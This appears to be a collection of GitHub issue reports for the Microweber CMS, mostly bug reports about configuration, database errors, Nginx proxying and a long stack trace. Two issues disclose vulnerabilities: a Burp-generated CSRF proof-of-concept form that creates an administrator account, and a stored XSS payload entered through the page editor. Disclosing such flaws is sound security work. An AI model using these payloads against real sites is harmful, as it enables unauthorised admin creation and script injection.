Hi, When i use link in left, or in last edit pages for publish a page unpublished, a message says "your page is published" but when i reload page it's not true. Buttons call ajax, and there is an error :

Error

The api function api is not defined in the allowed functions list

Thanks, Jérémy

I'm trying to create a calendar module and need the module install to create a new database table. The $config['tables'] parameter in the module config.php file allows the table name, field names, and field types to be defined in an array, which function _exec_table_builder in Providers\Database\Utils.php processes to create the table and fields. Is there a way to define field lengths, auto-increment, and indexes?

Dear All, I seem to have a really weird problem that I have not been able to solve and never encountered with other PHP applications: I have installed Microweber in a FreeBSD jail (if you are not familiar with FreeBSD and jails, just consider them different servers), and can access the instance happily, with all graphics and templates showing up. Yes - your Nginx settings have been set in accordance to what is found here: https://github.com/alvsgithub/microweber I run the application server behind a caching reverse proxy using Nginx, and with PHP I usually need nothing but this:

# handle default location
location                        / {
    # naxsi rules, apply to / as first configuration entry
    include                     naxsi_default.rules;
    # enable proxy cache
    proxy_cache                 microweber_proxy_cache;
    expires                     7d;
    # try to serve static files from Nginx
    try_files                   $uri @microweber;
}
location                        @microweber {
    proxy_pass                  http://www_php.jail.vlan:[microweber application port];
}

And things work like a charm. However, this is not the case with Microweber: PHP code is indeed displayed, but all assets do not show up, means I get a raw page. However, all assets are accessible, so this is not a permission issue. Does Microweber deal with assets and templates and such in a somewhat special way that requires my to add in more details into the Nginx reverse proxy configuration? Thank you so much for your help, Chris

http://snag.gy/hlwo2.jpg This should definitely be editable here. Also, the subject input is way too small, width: 100% would be much better and more suitable to most people.

The document's "Multi site configuration" section seams outdated. http://microweber.com/docs/developer-guide/installation/configuration There is no src/Microweber/bootstrap.php file in branch1.0 now. and also config.php does not exist. In 1.0 branch, only need to edit database.php for a new install. So, how can i add multi site configuration for branch 1.0? Thanks.

Your requirement list in the README shows only a couple of PHP requirements, but what about all the Bower/Gulp/NPM stuff? Obviously, for just running it, PHP is enough, but I will probably have to make my own design and add some functionality, so I would like to know what exactly I will need to achieve this.

When I'm creating an category it fails because of empty columns:

SQLSTATE[HY000]: General error: 1366 Incorrect integer value: '' for column 'position' at row 1 (SQL: insert into `mytest_pt_categories` (`rel_id`, `data_type`, `parent_id`, `title`, `position`, `description`, `users_can_create_content`, `rel_type`, `is_deleted`, `created_at`, `updated_at`, `created_by`, `edited_by`) values (5, category, 0, test, , , 0, content, 0, 2015-03-28 15:52:18, 2015-03-28 15:52:18, 1, 1))

Looking at stack trace, the content is being passed as empty string '':

at Connection->runQueryCallback('insert into `chezmoi_pt_categories` (`rel_id`, `data_type`, `parent_id`, `title`, `position`, `description`, `users_can_create_content`, `rel_type`, `is_deleted`, `created_at`, `updated_at`, `created_by`, `edited_by`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)', array('5', 'category', '0', 'Bazinga', '', '', '0', 'content', '0', '2015-03-28 15:52:18', '2015-03-28 15:52:18', '1', '1'), object(Closure)) in Connection.php line 570

AFAICT it's expecting a 0 (zero).

I'm using latest v1 (with https://github.com/microweber/microweber/commit/6f3dd9a5f05a9d8b22ea9fbf0147249d0158a55b)

After the administrator logged in, open the following page to add an administrator. POC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://demo1.microweber.com/api/save_user" method="POST">
      <input type="hidden" name="id" value="0" />
      <input type="hidden" name="thumbnail" value="" />
      <input type="hidden" name="username" value="3333" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="email" value="3333&#64;qq&#46;com" />
      <input type="hidden" name="first&#95;name" value="222" />
      <input type="hidden" name="last&#95;name" value="222" />
      <input type="hidden" name="is&#95;active" value="1" />
      <input type="hidden" name="is&#95;admin" value="1" />
      <input type="hidden" name="basic&#95;mode" value="1" />
      <input type="hidden" name="api&#95;key" value="15" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Hi, I try to remove your "team" layout in toolbar. I deleted files in userfiles/elements, but they are still display in toolbar. I found interface for elements (admin/view:elements) but click on reload elements don't fix my problem. Have you an idea ? Thanks, Jérémy

Issue

An attacker can gain arbitrary execution of javascript code using the edit function in the page editor.

Steps to reproduce:

1. Log in and navigate to a page to edit
2. Click on the insert menu, and click HTML. You will get prompted to enter some HTML code
3. Insert the following payload: <iframe src="javascript:alert(1)"></iframe>
4. Visit the page and observer an alert box pop up.

I'm using version 1.0.7 and I'm getting error 500 when submitting the contact form or test email (in settings). I see in userfiles/modules/settings/group/email.php there is a reference to api_html/Microweber/Utils/MailSender/test the closest I can find to this is /src/Microweber/Utils/MailSender.php

Hello

I did all the installation procedure in Digital Ocean and entered the whitelabel license worth 20.00 per month

and go up and activated and configured the module in my WHMCS but when I try to connect the api key in the Microweber Module (WhiteLabel) it returns the error below.

when saved he returns the error below

ERROR: Attempt to read property "message" on array

What can I do to fix it?

I look forward to hearing from you.

Thank you

IMAGE PRINT

Hi, The quotes are not escaped which causes a js error when accessing the tax management. https://github.com/microweber/microweber/blob/5f201c9447ed5fb6f33a280722ceafe9c29ec887/userfiles/modules/shop/taxes/admin.php#L25 https://github.com/microweber/microweber/blob/5f201c9447ed5fb6f33a280722ceafe9c29ec887/userfiles/modules/shop/taxes/admin.php#L27

Other parts of the code are probably affected. maybe also revise the other modules

TypeError

in [/var/www/microweber/vendor/nesbot/carbon/src/Carbon/Traits/Creator.php ](http://192.168.1.242/)(line 928) * * @param array $lastErrors * * @return void */ private static function setLastErrors(array $lastErrors) { static::$lastErrors = $lastErrors; } /** in [/var/www/microweber/vendor/nesbot/carbon/src/Carbon/Traits/Creator.php ](http://192.168.1.242/):: setLastErrors (line 98) if (isset($locale)) { setlocale(LC_NUMERIC, $locale); // @codeCoverageIgnore } self::setLastErrors(parent::getLastErrors()); } /** * Get timezone from a datetime instance. * in [/var/www/microweber/vendor/nesbot/carbon/src/Carbon/Traits/Creator.php ](http://192.168.1.242/)-> __construct (line 252) * * @return static */ public static function now($tz = null) { return new static(null, $tz); } /** * Create a Carbon instance for today. * in [/var/www/microweber/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php ](http://192.168.1.242/):: now (line 259) protected function getCookieExpirationDate() { $config = $this->manager->getSessionConfig(); return $config['expire_on_close'] ? 0 : Date::instance( Carbon::now()->addRealMinutes($config['lifetime']) ); } /** * Determine if a session driver has been configured. in [/var/www/microweber/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php ](http://192.168.1.242/)-> getCookieExpirationDate (line 221) */ protected function addCookieToResponse(Response $response, Session $session) { if ($this->sessionIsPersistent($config = $this->manager->getSessionConfig())) { $response->headers->setCookie(new Cookie( $session->getName(), $session->getId(), $this->getCookieExpirationDate(), $config['path'], $config['domain'], $config['secure'] ?? false, $config['http_only'] ?? true, false, $config['same_site'] ?? null )); } } in [/var/www/microweber/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php ](http://192.168.1.242/)-> addCookieToResponse (line 125) $response = $next($request); $this->storeCurrentUrl($request, $session); $this->addCookieToResponse($response, $session); // Again, if the session has been configured we will need to close out the session // so that the attributes may be persisted to some storage medium. We will also // add the session identifier cookie to the application response headers now. $this->saveSession($request); in [/var/www/microweber/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php ](http://192.168.1.242/)-> handleStatefulRequest (line 64) if ($this->manager->shouldBlock() || ($request->route() instanceof Route && $request->route()->locksFor())) { return $this->handleRequestWhileBlocking($request, $session, $next); } return $this->handleStatefulRequest($request, $session, $next); } /** * Handle the given request within session state. * StartSession->handle() in [/var/www/microweber/src/MicroweberPackages/App/Http/Middleware/StartSessionExtended.php ](http://192.168.1.242/)(line 22) * @param \Closure $next * @return mixed */ public function handle($request, Closure $next) { return parent::handle($request, $next); // defer to the right stuff } /** * Store the current URL for the request if necessary. * in [/var/www/microweber/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php ](http://192.168.1.242/)-> handle (line 167) // since the object we're given was already a fully instantiated object. $parameters = [$passable, $stack]; } $carry = method_exists($pipe, $this->method) ? $pipe->{$this->method}(...$parameters) : $pipe(...$parameters); return $this->handleCarry($carry); } catch (Throwable $e) { return $this->handleException($passable, $e); in [/var/www/microweber/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php ](http://192.168.1.242/)-> Illuminate\Pipeline\{closure} (line 21) */ public function handle($request, Closure $next) { $this->clean($request); return $next($request); } /** * Clean the request's data. * in [/var/www/microweber/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php ](http://192.168.1.242/)-> handle (line 31) if ($callback($request)) { return $next($request); } } return parent::handle($request, $next); } /** * Transform the given value. * in [/var/www/microweber/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php ](http://192.168.1.242/)-> handle (line 167) // since the object we're given was already a fully instantiated object. $parameters = [$passable, $stack]; } $carry = method_exists($pipe, $this->method) ? $pipe->{$this->method}(...$parameters) : $pipe(...$parameters); return $this->handleCarry($carry); } catch (Throwable $e) { return $this->handleException($passable, $e); in [/var/www/microweber/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php ](http://192.168.1.242/)-> Illuminate\Pipeline\{closure} (line 37) * @param \Closure $next * @return mixed */ public function handle($request, Closure $next) { $response = $next($request); foreach ($this->cookies->getQueuedCookies() as $cookie) { $response->headers->setCookie($cookie); } in [/var/www/microweber/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php ](http://192.168.1.242/)-> handle (line 167) // since the object we're given was already a fully instantiated object. $parameters = [$passable, $stack]; } $carry = method_exists($pipe, $this->method) ? $pipe->{$this->method}(...$parameters) : $pipe(...$parameters); return $this->handleCarry($carry); } catch (Throwable $e) { return $this->handleException($passable, $e); in [/var/www/microweber/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php ](http://192.168.1.242/)-> Illuminate\Pipeline\{closure} (line 103) { $pipeline = array_reduce( array_reverse($this->pipes()), $this->carry(), $this->prepareDestination($destination) ); return $pipeline($this->passable); } /** * Run the pipeline and return the result. * in [/var/www/microweber/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php ](http://192.168.1.242/)-> then (line 142) $this->bootstrap(); return (new Pipeline($this->app)) ->send($request) ->through($this->app->shouldSkipMiddleware() ? [] : $this->middleware) ->then($this->dispatchToRouter()); } /** * Bootstrap the application for HTTP requests. * in [/var/www/microweber/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php ](http://192.168.1.242/)-> sendRequestThroughRouter (line 111) public function handle($request) { try { $request->enableHttpMethodParameterOverride(); $response = $this->sendRequestThroughRouter($request); } catch (Throwable $e) { $this->reportException($e); $response = $this->renderException($request, $e); } Kernel->handle() in [/var/www/microweber/index.php ](http://192.168.1.242/)(line 93) |*/$kernel = $app->make('Illuminate\Contracts\Http\Kernel');$response = $kernel->handle( $request = Illuminate\Http\Request::capture());$response->send();

There is a bug when calling the getValue method. Get sometimes the wrong value, mw()->fields_manager->getValue($item['id'], 'mycustomfields'); https://github.com/microweber/microweber/blame/2737bc0076e9e56b7565be45afc013eb7763885d/src/Microweber/Providers/FieldsManager.php#L323 The condition after 'OR' need to be corrected

Mbstring must be present in requirements. Trying to run microweber without it installed and enabled will result in error: PHP Fatal error: Uncaught ReflectionException: Class "config" does not exist [...]

This is probably caused by laravel requiring this extension. Gave me quite a headache this morning.